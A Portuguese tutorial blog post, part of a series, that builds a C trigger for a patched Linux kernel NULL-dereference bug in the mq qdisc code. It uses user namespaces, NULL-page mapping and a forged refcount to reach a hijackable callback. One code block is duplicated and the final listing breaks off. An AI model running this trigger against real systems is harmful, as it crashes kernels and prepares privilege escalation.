Introdução à Exploração de Vulnerabilidades no Kernel do Linux – Parte 2: Acionamento da Vulnerabilidade

Introdução

No post anterior desta série, fizemos uma introdução sobre exploração de vulnerabilidades no kernel do Linux e passamos pelos passos necessários para montar o ambiente de modo a ser possível realizarmos os testes e análises para explorar a vulnerabilidade que escolhemos para nossos blog posts. Dando seguimento, neste post, construiremos um código que aciona a vulnerabilidade. Dessa forma, dando um passo importante para exploração bem sucedida da vulnerabilidade.

Felizmente o commit (36eec020fab66 net: sched: fix NULL pointer dereference in mq_attach) que corrige a vulnerabilidade já traz em sua descrição comandos shell que podem ser utilizados para acionar a vulnerabilidade. Então, já temos um ótimo ponto de partida.

When use the following command to test:

1) ip link add bond0 type bond
2) ip link set bond0 up
3) tc qdisc add dev bond0 root handle ffff: mq
4) tc qdisc replace dev bond0 parent ffff:fff1 handle ffff: mq

Começaremos utilizando esses comandos shell para acionar a vulnerabilidade e ao final teremos um código em C que faz esse papel. Ao fazer em código C, temos maior liberdade para alocar e mapear memória, acionar a vulnerabilidade com maior precisão, criar payloads para serem executados e assim por diante.

Background do subsistema

Na realidade, nem sempre é necessário entender sobre o subsistema onde a vulnerabilidade acontece para realizarmos a exploração. Então, nessa parte, vamos apenas dar uma breve contextualização sobre alguns termos que aparecerão em alguns momentos daqui em diante.

Na mensagem de descrição desse commit já é possível conseguir bastantes informações sobre o que ocorre com a vulnerabilidade. Contém, inclusive, comandos que podem ser utilizados para acioná-la:

1) ip link add bond0 type bond
2) ip link set bond0 up
3) tc qdisc add dev bond0 root handle ffff: mq
4) tc qdisc replace dev bond0 parent ffff:fff1 handle ffff: mq

Pelo que podemos ver, os comandos fazem o seguinte:

  1. Cria uma interface de rede do tipo ‘bond' com o nome bond0
  2. Marca essa interface bond0 como up
  3. Adiciona uma queuing discipline 'mq' na interface com o handle ffff:
  4. Troca uma queuing discipline da 'mq‘ da interface por uma outra 'mq'

Queuing discipline é um termo genérico da computação que retrata uma política utilizada para lidar com o tratamento de itens em uma estrutura de dados do tipo fila. No caso do subsistema de networking do kernel Linux, pacotes são enviados de maneira enfileirada.

Uma queuing discipline, nesse cenário, é uma política adicionada à interface que dita como os pacotes devem ser encaminhados (enfileirados) para serem enviados. Isso permite fazer configurações de prioridades de pacotes, por exemplo. Para acionar a vulnerabilidade estamos lidando com queuing discipline do tipo ‘mq' (multiqueue).

Acionamento via comandos shell

Com o cenário de já haver comandos shell que permitem acionar a vulnerabilidade, o primeiro passo é utilizá-los:

user@debian12:~$ ip link add bond0 type bond
RTNETLINK answers: Operation not permitted
user@debian12:~$

Porém ao utilizar o primeiro dos comandos, que faz a criação de uma interface de rede, percebemos que não temos permissão para executar essa ação. Afinal de contas, criar uma interface de rede é uma ação que exige certos privilégios no sistema. Uma possibilidade para ultrapassar essa barreira é utilizar unprivileged user namespace.

Unprivileged user namespace

Namespace é uma funcionalidade do kernel Linux que provê isolamento de recursos específicos. Existem diversos namespaces implementados no Linux, como user, network, mount, IPC e outros. Quando uma operação privilegiada é realizada, normalmente ocorre uma consulta às estruturas do kernel para validar se o usuário tem uma capability específica. No caso do comando ‘ip‘, a capability necessária é CAP_NET_ADMIN. Como o usuário não detém essa capability, ao executar o comando, o erro de “Operation not permitted” é retornado.

Essa validação pode ser realizada no user namespace inicial ou no namespace em que o usuário está no momento da execução do comando. A diferença no kernel é entre as funções capable() e ns_capable(). A primeira usa de forma implícita o user namespace inicial do sistema, o user namespace onde o sistema inicializa e normalmente todas as aplicações iniciais estão presentes. Já a ns_capable() recebe o user namespace como parâmetro para fazer a validação.

Se o sistema permitir e o usuário criar um novo user namespace, normalmente ele possuirá todas as capabilities nesse namespace. Se a operação desejada usa ns_capable() para validar privilégios, o usuário que não tem os privilégios no namespace inicial conseguirá realizar essa operação normalmente em seu próprio namespace. Portanto, o usuário pode criar um novo user namespaces através do comando ou chamada de sistema unshare(). Mais informações sobre namespaces podem ser consultados aqui.

NOTA: Nem sempre é possível que usuários sem privilégios elevados no sistema criem namespaces. No sistema que utilizamos para o laboratório, Debian 12, é permitido por padrão. Portanto, chamamos de unprivileged namespace.

A forma mais prática de criar namespaces via shell é utilizando o comando ‘unshare'. Ao executar ‘unshare' utilizamos os parâmetros -U, -r e -n para criar namespace do tipo user, mapear o usuário como root dentro desse namespace (consequentemente com todas as capabilities possíveis no namespace criado) e um net namespace, respectivamente. Assim, os comandos para acionar a vulnerabilidade podem ser executados.

user@debian12:~$ unshare -Urn
root@debian12:~# ip link add bond0 type bond
root@debian12:~# ip a
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: bond0: <BROADCAST,MULTICAST,MASTER> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 2a:99:c6:3e:bb:b3 brd ff:ff:ff:ff:ff:ff
root@debian12:~#

Após criar o namespace que nos permita ter privilégios para realizar as ações que precisamos, conseguimos executar os comandos para acionar a vulnerabilidade:

user@debian12:~$ unshare -Urn
root@debian12:~# ip link add bond0 type bond
root@debian12:~# ip link set bond0 up
root@debian12:~# tc qdisc add dev bond0 root handle ffff: mq
root@debian12:~# tc qdisc replace dev bond0 parent ffff:fff1 handle ffff: mq
Killed

Como retorno da execução vemos que o processo foi finalizado. Ao analisar os logs de mensagem do kernel podemos investigar o que aconteceu:

ATENÇÃO: Nesse momento, ao acionar a vulnerabilidade, o sistema fica em um estado instável e não responde bem a alguns comandos caso deseje ver as mensagens de log pelo próprio acesso SSH. Por esse motivo, quando isso acontece, podemos utilizar o GDB para visualizar os logs através do comando lx-dmesg presente no script Python disponibilizado no código do kernel do Linux (que fizemos a configuração no post anterior ao montar o ambiente).

$ gdb vmlinux -q
(gdb) target remote :1234
(gdb) lx-dmesg
...
[  611.688888] BUG: kernel NULL pointer dereference, address: 0000000000000000
[  611.688920] #PF: supervisor read access in kernel mode
...

Perfeito! O objetivo de acionar a vulnerabilidade foi concluído utilizando os comandos via shell. A próxima etapa é realizar o acionamento com nosso código para termos a liberdade de fazer outras operações, como mapear memória, construir payloads e evitar que a exploração da vulnerabilidade cause o travamento da máquina.

ATENÇÃO: No processo de montar o acionador da vulnerabilidade corretamente a máquina entrará em estado instável algumas vezes, apresentando lentidão e travamento. Quando isso acontecer reinicie a máquina virtual.

Você pode fazer isso direto pelo virtualizador que está usando ou via GDB com o comando ‘monitor system_restart', caso seu virtualizador suporte.

Acionamento via código

Para esse objetivo precisamos construir um código em C que faça o seguinte:

  1. Crie user e net namespaces
  2. Crie uma interface de rede do tipo bond com o nome bond0
  3. Marque a interface bond0 como up
  4. Adicione uma queuing discipline 'mq‘ na interface com o handle ffff:
  5. Troque a queuing discipline da 'mq' da interface por outra ‘mq'

Unprivileged user e net namespaces

Além de dar nome ao binário utilitário utilizado anteriormente, unshare() também é a chamada de sistema que utilizamos para criar namespaces via código C. Para utilizar essa chamada de sistema é preciso passar para ela qual o tipo de namespace que desejamos criar. Como fizemos anteriormente, desejamos um namespace do tipo user e net. Isso é feito com o parâmetro como CLONE_NEWNET | CLONE_NEWUSER.

Para especificar que o usuário do namespace deve ter privilégio de root e suas capabilities, devemos fazer um mapeamento entre o UID do usuário de fora do namespace com o usuário de dentro. Conseguimos isso ao escrever no arquivo /proc/self/uid_map.

Como resultado obtemos o seguinte código:

#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void setup_namespace(void) {
    int f;
    printf("[*] Creating namespace\n");

    if (unshare(CLONE_NEWNET | CLONE_NEWUSER) < 0) {
        perror("unshare");
        exit(EXIT_FAILURE);
    }

    f = open("/proc/self/uid_map", O_WRONLY);
    if(f < 0) {
        perror("cannot open /proc/self/uid_map");
        exit(EXIT_FAILURE);
    }
    
    if(write(f, "0 1000 1", 8) < 0) {
        perror("cannot write on /proc/self/uid_map");
        close(f);
        exit(EXIT_FAILURE);
    }
    
    close(f);
    return;
  }
  
int main(void) {
    setup_namespace();
      
    system("ip a");
    return 0;
}

NOTA: Adicionamos a execução do comando “ip a” para que possamos ver o estado das interfaces de rede conforme formos avançando na construção do código que aciona a vulnerabilidade. Assim, podemos perceber se as modificações desejadas estão sendo feitas corretamente.

Podemos compilar e executar o código:

user@debian12:~$ gcc exploit.c -o exploit
user@debian12:~$ ./exploit
[*] Creating namespace
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
user@debian12:~$

A saída do comando system("ip a") mostra uma quantidade de interfaces de rede diferente de quando o comando é executado no net namespace inicial, confirmando que conseguimos criar os namespaces com sucesso.

Netlink

Netlink é um mecanismo de comunicação entre processos (IPC – Inter-Process Communication) que é utilizado para trocar mensagens entre processos do usuário e o kernel. Esse é o mecanismo que é empregado para realizar grande parte das operações de networking. A comunicação é feita pelo processo de usuário através de socket do tipo AF_NETLINK.

Através do netlink podemos realizar diversas operações, como coletar informações do sistema ou mesmo efetuar configurações. Utilizaremos justamente o último caso: realizar configurações (criação de interface de rede e as demais operações necessárias).

Netlink é dividido em diversas famílias para tipos de ações específicas que se comunicam com o kernel, como por exemplo NETLINK_ROUTE, NETLINK_NETFILTER, NETLINK_SOCK_DIAG dentre outras. Para o que precisamos realizar, configuração de interfaces, a família netlink empregada é a NETLINK_ROUTE. Você pode ver mais informações sobre o netlink clicando aqui, e sobre NETLINK_ROUTE nesta outra página.

Instalação de dependências

Vamos utilizar a biblioteca 'libnl' para interagir com o kernel enviando e recebendo mensagens via netlink. Por conta disso, precisamos instalar os pacotes dessa biblioteca e o pkg-config por ser a forma recomendada pelos autores da biblioteca para especificá-la durante a compilação.

$ sudo apt install -y pkg-config libnl-3-dev libnl-route-3-dev

Após esse passo, é possível utilizar a biblioteca para nosso objetivo.

NOTA: Vamos usar a biblioteca 'libnl‘ por questão de praticidade pois, desse modo, conseguimos focar na exploração da vulnerabilidade e não no uso do netlink em si.

Criação da interface

Para criar interface de rede do tipo bond, é necessário importar alguns cabeçalhos:

#include <netlink/socket.h>
#include <netlink/route/link.h>
#include <netlink/route/link/bonding.h>

Devemos também alocar um objeto do tipo ‘struct nl_sock'. Esse objeto é utilizado pela biblioteca para gerenciar o socket netlink. Como esse objeto é alocado dinamicamente, precisamos fazer a liberação dele após o uso.

struct nl_sock *sock_nl = nl_socket_alloc();
...
nl_socket_free(sock_nl);

Fazemos uso do objeto 'sock_nl' para conectar o socket e então trocar mensagens com o kernel através dele. Por questão de organização, montamos uma função para criar a interface bond chamada create_bond_interface().

...
int main (void) {
    struct nl_sock *sock_nl;
    int err = 0;

    setup_namespace();

    sock_nl = nl_socket_alloc();
  
    if (sock_nl == NULL){
        perror("nl_socket_alloc");
        exit(EXIT_FAILURE);
    }

    if (nl_connect(sock_nl, NETLINK_ROUTE) < 0) {
        perror("connect");
        err = EXIT_FAILURE;
        goto error;
    }

    if (create_bond_interface(sock_nl, "bond0") < 0) {
        perror("create_bond_interface");
        err = EXIT_FAILURE;
        goto error;
    }

    system("ip a");

error:
    nl_socket_free(sock_nl);
    return err;
}

A função create_bond_interface() faz uso do socket netlink (que criamos e conectamos) para enviar a mensagem de criação da interface de rede ao kernel. Para isso, ela aloca um objeto do tipo ‘struct rtnl_link' e define o nome da interface. Em seguida, envia o comando de criação da interface.

int create_bond_interface(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
       return -1;
    }
  
   if (name == NULL){
      return -1;
   }

    printf("[*] Creating interface %s\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){
        return -1;
    }

    rtnl_link_set_name(link, name);

    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}

Agora, com o uso da 'libnl‘, para compilar o código, devemos informar o caminho da biblioteca. Fazemos isso com o auxílio do pkg-config:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)

Ao executar o código, podemos ver que a interface é corretamente criada dentro do namespace através da saída do comando system("ip a").

user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: bond0: <BROADCAST,MULTICAST,MASTER> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 5e:3d:0b:d7:19:28 brd ff:ff:ff:ff:ff:ff
user@debian12:~$

É possível ver que a interface criada está no estado DOWN, e como sabemos, precisamos configurar ela como UP. Faremos isso a seguir.

Configuração da interface

Configurar a interface como UP é muito semelhante à criação do código da interface. A diferença crucial é que devemos definir a flag IFF_UP na interface, pois com ela estamos comunicando ao kernel que queremos a interface no estado UP. Essa flag é definida no cabeçalho 'linux/if.h', então devemos importar ele:

#include <linux/if.h>
...
int set_interface_up(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){       
       return -1;    
     }     

     if (name == NULL){      
         return -1;   
     }

    printf("[*] Creating interface %s\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){        
        return -1;    
     }

    rtnl_link_set_name(link, name);

    printf("[*] Setting interface %s up\n", name);
 
    rtnl_link_set_flags(link, IFF_UP);

    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}
...

Com isso, a interface é corretamente criada e configurada como UP, como você pode ver abaixo:

#include <linux/if.h>
...
int set_interface_up(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){       
       return -1;    
     }     

     if (name == NULL){      
         return -1;   
     }

    printf("[*] Creating interface %s\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){        
        return -1;    
     }

    rtnl_link_set_name(link, name);

    printf("[*] Setting interface %s up\n", name);
 
    rtnl_link_set_flags(link, IFF_UP);

    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}
...

Nesse momento vemos que a interface não tem qdisc configurada. Este é o objetivo da próxima seção.

Adição de queuing discipline

Para criar queuing discipline via ‘libnl' empregamos funções e estruturas que são definidas em outros cabeçalhos da biblioteca, então temos que incluí-los no código:

#include <netlink/route/tc.h>
#include <netlink/route/qdisc.h>

A função que criamos para adicionar uma queuing discipline na interface faz o seguinte:

  • Aloca um objeto do tipo ‘struct rtnl_qdisc' (então também devemos fazer a liberação desse objeto depois)
  • Busca pela interface a partir do nome informado. Ao fazer essa busca, aloca-se o objeto 'struct rtnl_link‘ que é utilizado no passo seguinte
  • Configura o objeto ‘qdisc' com as informações necessárias, como qual a interface que deve ser adicionada e o tipo ('mq')
  • Executa o comando para adicionar a queuing discipline especificada à interface

O código ficou como segue:

int qdisc_add(struct nl_sock * nl, char * name) {
    int ret = 0;
    struct rtnl_qdisc *qdisc;
    struct rtnl_link *link;

    if (nl == NULL){              
         return -1; 
     }          

     if (name == NULL){               
         return -1;  
     }

    printf("[*] Adding a qdisc to %s interface\n", name);

    qdisc = rtnl_qdisc_alloc();
    if (qdisc < 0) {
        perror("qdisc allocatio\n");
        return -1;
    }

    if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
        perror("can't find interface");
        return -1;
    }

    printf("[*] ifindex: %d\n", rtnl_link_get_ifindex(link));

    rtnl_tc_set_link(TC_CAST(qdisc), link);
    rtnl_tc_set_parent(TC_CAST(qdisc), TC_H_ROOT);
    rtnl_tc_set_handle(TC_CAST(qdisc), TC_HANDLE(0xffff, 0));
    rtnl_tc_set_kind(TC_CAST(qdisc), "mq");

    ret = rtnl_qdisc_add(nl, qdisc, NLM_F_CREATE);

    rtnl_qdisc_put(qdisc);
    rtnl_link_put(link);

    return ret;
}

Após compilarmos e executarmos o código podemos ver que foi adicionada uma queuing discipline do tipo ‘mq‘ na interface:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: bond0: <NO-CARRIER,BROADCAST,MULTICAST,MASTER,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
    link/ether 12:fa:bf:24:d4:b1 brd ff:ff:ff:ff:ff:ff
user@debian12:~$

O último passo para conseguirmos acionar a vulnerabilidade é, agora, substituir a queuing discipline por uma outra.

Troca da queuing discipline

O código que precisamos para realizar a troca do ‘qdisc' é bastante semelhante ao anterior que adiciona o ‘qdisc'. Uma das diferenças está na ação. Note que ao chamar a função rtnl_qdisc_add() é informada a ação NLM_F_REPLACE, enquanto que para adicionar é NLM_F_CREATE. Além disso, na configuração do objeto ‘qdisc_new‘ veja que não definimos o ‘parent' como root mas sim como o handle 0xffff:0xfff1.

int qdisc_replace(struct nl_sock * nl, char * name) {
    struct rtnl_qdisc *qdisc_new;
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){                       
        return -1;      
     }               

    if (name == NULL){                        
        return -1;       
    }

    printf("[*] Replace qdisc on %s interface\n", name);

    qdisc_new = rtnl_qdisc_alloc();
    if (qdisc_new < 0) {
        perror("qdisc new allocatio\n");
        return -1;
    }

    if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
        perror("can't find interface");
        return -1;
    }

    rtnl_tc_set_link(TC_CAST(qdisc_new), link);
    rtnl_tc_set_parent(TC_CAST(qdisc_new), TC_HANDLE(0xffff,0xfff1));
    rtnl_tc_set_handle(TC_CAST(qdisc_new), TC_HANDLE(0xffff, 0));
    rtnl_tc_set_kind(TC_CAST(qdisc_new), "mq");

    ret = rtnl_qdisc_add(nl, qdisc_new, NLM_F_REPLACE);

    rtnl_qdisc_put(qdisc_new);
    rtnl_link_put(link);

    return ret;
}

Com a execução do código em questão, atingimos um cenário semelhante ao do acionamento que fizemos com os comandos shell em que o programa é finalizado pelo sistema:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed

Isso acontece porque algum problema foi detectado pelo kernel ao executar o processo. Utilizando o GDB podemos ver as mensagens de log do kernel:

(gdb) lx-dmesg
...
[ 2595.402855] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 2595.402878] #PF: supervisor read access in kernel mode
[ 2595.402885] #PF: error_code(0x0000) - not-present page
...
[ 2595.403051] Call Trace:
[ 2595.403063]  <TASK>
[ 2595.403068]  qdisc_graft+0x3fb/0x750
[ 2595.403078]  tc_modify_qdisc+0x465/0x7e0
[ 2595.403086]  rtnetlink_rcv_msg+0x14b/0x3b0

Com essas mensagens notamos que a vulnerabilidade foi novamente acionada, dessa vez, por nosso código feito diretamente em C. Também vemos outras informações, como a ocorrência de um page fault (#PF), que tratamos a seguir.

Page fault e mapeamento do endereço

Page fault (#PF) é uma exceção gerada pela unidade de gerenciamento de memória (MMU – Memory Management Unit) da máquina ao tentar acessar um endereço de memória que não tem uma página física associada, um acesso diferente do permitido no mapeamento ou nível de acesso incompatível. Nesse caso, o page fault indica que a página não está presente:

(gdb) lx-dmesg
...
[ 2595.402885] #PF: error_code(0x0000) - not-present page

Isso significa que o endereço acessado não está mapeado. Não existe um mapeamento entre o endereço virtual e uma página física na memória. Então, para resolver, devemos mapear o endereço NULL, conforme já tratamos na primeira publicação desta série.

Conseguimos mapear memória via chamada de sistema mmap() e para tal precisamos incluir o cabeçalho sys/mmap.h. Para usar a chamada de sistema mmap(), passamos alguns parâmetros, dentre eles, qual endereço queremos mapear (com a flag MAP_FIXED especificada), a quantidade de bytes e as permissões. Apenas uma página será alocada juntamente com as permissões de leitura e escrita.

Além de mapear o endereço, também devemos realizar alguma operação nesse espaço de memória. Com essa operação, um page fault será gerado e a page table do processo será corretamente preenchida. Dessa forma, quando o kernel acessar esse endereço, não deve mais ter o problema da página não estar presente. Uma simples escrita basta para isso, por isso escrevemos *mynull = 0, conforme apresentamos logo abaixo.

#include <sys/mman.h>
...
char * mynull = mmap(NULL, PAGE_SIZE * PAGES, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (mynull == MAP_FAILED) {
    perror("null mapping");
    exit(EXIT_FAILURE);
}

*mynull = 0;

Com isso temos o endereço NULL mapeado, desde o endereço 0x0000000000000000 até 0x0000000000000fff. Isso quer dizer que, a partir de agora, qualquer acesso a endereços nesse intervalo será realizado com dados que temos controle e, portanto, podemos influenciar.

Conseguimos executar o código e ver o que acontece após a modificação:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
BUG at file position ././lib/object.c:224:nl_object_put
exploit: ././lib/object.c:224: nl_object_put: Assertion `0' failed.
Aborted

(gdb) lx-dmesg
...
[ 5479.058638] ------------[ cut here ]------------
[ 5479.058642] refcount_t: underflow; use-after-free.
[ 5479.058665] WARNING: CPU: 0 PID: 687 at lib/refcount.c:28 refcount_warn_saturate+0xba/0x110
...
[ 5479.058743] Call Trace:
[ 5479.058758]  <TASK>
[ 5479.058759]  mq_attach+0x55/0xa0
[ 5479.058766]  qdisc_graft+0x3fb/0x750
[ 5479.058768]  tc_modify_qdisc+0x465/0x7e0
[ 5479.058771]  rtnetlink_rcv_msg+0x14b/0x3b0
...

Percebe-se que a mensagem difere da anterior, o que indica que resolvemos o problema da falta de mapeamento do endereço. A mensagem dessa vez aponta alguma questão relacionada à reference counter, trataremos disso na próxima seção.

Correção do reference counter

Reference counter em programação é uma variável que serve como contador da quantidade de referências que um objeto tem durante seu ciclo de vida. O funcionamento desse contador ocorre da seguinte maneira: quando é feita uma referência a um objeto, o reference counter desse objeto é incrementado; e quando a referência é desfeita, o reference counter é decrementado. Quando o valor do contador chega à zero indica que não há mais referências remanescentes, então o objeto pode ser liberado da memória sem causar problemas de use-after-free.

Por ser um conceito bastante difundido e utilizado, no código do kernel do Linux é organizado de forma a ter uma API para lidar com esse tipo de contador. A API que existe no kernel do Linux já faz algumas validações em relação ao valor do reference counter. Quando o contador é decrementado depois de já ter seu valor zerado, uma mensagem de underflow e use-after-free é gerada. Foi justamente isso que aconteceu pela mensagem que foi gerada ao executar a última versão do código até então:

[ 5479.058642] refcount_t: underflow; use-after-free.
...
[ 5479.058743] Call Trace:
[ 5479.058758]  <TASK>
[ 5479.058759]  mq_attach+0x55/0xa0

Pela mensagem de log, conseguimos saber em que ponto houve o problema: função mq_attach() no offset 0x55 (85 em decimal):

(gdb) disas mq_attach
Dump of assembler code for function mq_attach:
...
   0xffffffff818270b0 <+80>:    call   0xffffffff818258d0 <qdisc_put>
   0xffffffff818270b5 <+85>:    cmp    0x3cc(%rbp),%ebx
   0xffffffff818270bb <+91>:    jae    0xffffffff81827083 <mq_attach+35>

É a instrução após ou durante a chamada para a função qdisc_put().

static void mq_attach(struct Qdisc *sch)
{
...
    for (ntx = 0; ntx < dev->num_tx_queues; ntx++) {
        qdisc = priv->qdiscs[ntx];
        old = dev_graft_qdisc(qdisc->dev_queue, qdisc);
        if (old)
            qdisc_put(old);
    ..
...
}

void qdisc_put(struct Qdisc *qdisc)
{
...
    if (qdisc->flags & TCQ_F_BUILTIN ||
        !refcount_dec_and_test(&qdisc->refcnt))
        return;

    qdisc_destroy(qdisc);
}

A função qdisc_put() recebe como parâmetro o endereço de um objeto do tipo 'struct Qdisc'. Neste objeto há o reference counter que é checado.

(gdb) ptype struct Qdisc
type = struct Qdisc {
...
    refcount_t refcnt;
...
}
(gdb) ptype refcount_t
type = struct refcount_struct {
    atomic_t refs;
}
(gdb) ptype atomic_t
type = struct {
    int counter;
}

Podemos adicionar um breakpoint pelo GDB para analisar a execução ao chegar a essa função. Para praticidade, já vamos exibir o parâmetro que essa função recebe (o endereço do objeto 'struct Qdisc') e o valor do seu reference counter:

(gdb) b *qdisc_put
(gdb) commands
>i r $rdi
>p ((struct Qdisc *)$rdi)->refcnt->refs->counter
>end
(gdb) c

Ao executar nosso código podemos ver que o objeto no endereço 0x28 tinha reference counter igual a zero. Então aconteceu o decremento e logo depois ocorreu novamente o acesso com um valor que aciona a mensagem de erro a seguir:

Thread 1 hit Breakpoint 1, qdisc_put (qdisc=0x28 <fixed_percpu_data+40>) at net/sched/sch_generic.c:1074
1074    {
=> 0xffffffff818258d0 <qdisc_put+0>:    0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
rdi            0x28                40
$25 = 0
...
Thread 1 hit Breakpoint 1, qdisc_put (qdisc=0x28 <fixed_percpu_data+40>) at net/sched/sch_generic.c:1074
1074    {
=> 0xffffffff818258d0 <qdisc_put+0>:    0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
rdi            0x28                40
$30 = -1073741824

Já que o objeto que está no endereço 0x28 está dentro do intervalo que controlamos (0x0000000000000000 ~ 0x0000000000000fff), podemos influenciar o valor do reference counter desse objeto.

Ao analisar um objeto do tipo ‘struct Qdisc' nota-se que o reference counter está no offset 0x64. Essa informação pode ser obtida usando o comando pahole:

$ pahole Qdisc vmlinux --hex
struct Qdisc {
...
        refcount_t                 refcnt;               /*  0x64   0x4 */
...
        /* size: 384, cachelines: 6, members: 30 */
        /* sum members: 264, holes: 3, sum holes: 120 */
        /* forced alignments: 2, forced holes: 2, sum forced holes: 80 */
} __attribute__((__aligned__(64)));

A fim de lidar de maneira mais dinâmica com esse tipo de objeto no nosso código, podemos criar uma estrutura análoga que simule esse objeto. Com simular queremos dizer criar uma estrutura em nosso código que contenha os mesmos membros (pelo menos os relevantes ao propósito) e que estejam localizados nos mesmos offsets que a estrutura utilizada pelo kernel.

struct Qdisc {
    char pad1[0x64];
    int refcnt;
    char pad2[280];
} __attribute__((__aligned__(64)));

Então, definimos um objeto com esse tipo de modo para conseguir alterar seu reference counter de forma bem prática. O objeto struct Qdisc no kernel está apontando para o endereço 0x28, sendo assim, apontamos nossa estrutura de representação para o mesmo endereço e em myqdisc->refcnt alteramos o reference counter que será lido.

struct Qdisc * myqdisc = (void *)0x28;
myqdisc->refcnt = 1;

Fazendo essa modificação, ao executar o código obtemos novamente como retorno a finalização do processo pelo sistema:

user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed

Uma análise das mensagens de log do kernel nos permite notar que avançamos em nosso objetivo: o kernel tentou executar o código que está em uma memória sem permissão de execução (note a mensagem NX-protected page e permissions violation).

(gdb) lx-dmesg
...
[   13.044650] kernel tried to execute NX-protected page - exploit attempt? (uid: 1000)
[   13.044673] BUG: kernel NULL pointer dereference, address: 0000000000000028
[   13.044679] #PF: supervisor instruction fetch in kernel mode
[   13.044686] #PF: error_code(0x0011) - permissions violation
...
[   13.044848] Call Trace:
[   13.044854]  <TASK>
[   13.044859]  ? qdisc_destroy+0x3b/0xc0
[   13.044871]  ? mq_attach+0x55/0xa0
[   13.044876]  ? qdisc_graft+0x3fb/0x750

A mensagem de erro agora é uma tentativa de executar códigos no endereço 0x28. O erro acontece porque durante o mmap() não mapeamos a página com permissão de execução. Fizemos desse modo pois não é do nosso objetivo executar código nesse endereço e o motivo dessa tentativa de execução de código acontece porque há uma estrutura que contém funções dinâmicas na struct Qdisc, a struct Qdisc_ops, acessada em kernel por qdisc->ops. O código não inicializa qdisc->ops e ela aponta para NULL que também não é inicializado, fazendo com que a callback ->destroy() aponte para 0x28.

Apesar do mapeamento NULL ser inicializado com zeros, durante o acionamento da vulnerabilidade o código em kernel acaba escrevendo alguns valores nessa página de memória e por isso o valor de ->destroy() contém 0x28. A callback ->destroy() é chamada por mq_attach() ao acionar a vulnerabilidade que ao executar qdisc_destroy(), faz qdisc_put() no objeto e como inicializamos o reference counter para 1, ele vai ser decrementado, alcançando 0 e acionando a callback para a liberação do objeto.

Thread 1 hit Breakpoint 2, qdisc_destroy (qdisc=0x28 <fixed_percpu_data+40>) at net/sched/sch_generic.c:1050
1050 {
=> 0xffffffff81825810 <qdisc_destroy+0>: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
(gdb) p/x ((struct Qdisc *)0x28)->ops->destroy
$1 = 0x28
(gdb)

Próximos passos

Chegamos a um ponto em que a vulnerabilidade foi acionada por nosso código em C, corrigimos alguns pontos necessários para o correto funcionamento e já podemos obter execução de código arbitrário no kernel. No próximo post desta série iremos, justamente, manipular a callback ->destroy() para apontar para uma função em nosso controle e assim realizar a escalação de privilégios. Então, fique conosco e não perca o próximo post da série.

Referências

Caso deseje mais materiais sobre os assuntos deste post, recomendamos as seguintes fontes:

Código final do acionador da vulnerabilidade

O código do acionador foi construído passo a passo ao longo deste post, mas aqui está ele por completo caso precise:

#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <linux/if.h>
#include <sys/mman.h>

#include <netlink/socket.h>
#include <netlink/route/link.h>
#include <netlink/route/link/bonding.h>
#include <netlink/route/tc.h>
#include <netlink/route/qdisc.h>

